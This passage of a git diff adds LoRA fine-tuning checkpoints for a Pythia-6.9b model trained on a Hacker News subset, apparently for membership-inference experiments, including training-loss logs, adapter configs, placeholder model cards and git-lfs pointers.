2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 5.40740375543808e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..e7bb8ac19430b82ceb4ba667e56ad09e8e0110c0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:250aa6f9b87e35311076312d593bb3b1f718b6dfff3a9ec7f9b75cde25354e51 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..ec792287feaa74f91e23bed7a6f6f96144ecc2fa --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3b7db2444f51a8a8d802b7e0fab20b57f9b0f28439f094adfff8b08e35e17e47 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..4d7fc830aabf2c4827b0609ed6e355d0fa80523b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b904f845552beb994fcd34362e728f918c7473ac27288d463195b51c3ed73bff +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..28521d181a67af05811165bf7cec3a0fcb49ae9d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d03bb25f48f188323d4c5dda872d760e309dedbed641397ec2ec756835c29ac5 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..a3c5f67666eecf4d4bc94c222d215ab7fbc5ed9f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/trainer_state.json @@ -0,0 +1,543 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 4.533333333333333, + "eval_steps": 10, + "global_step": 340, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 5.57126447529984e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-340/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..ede642972ab975001bde63421e999a192d1bed6c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0ca4e825a8e25c12c709ec27e026cb943b74553a64c98c760f6b09174ef0e91f +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..a857a84ad700f6baf2a44768e96c410fa2ec0d5f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid 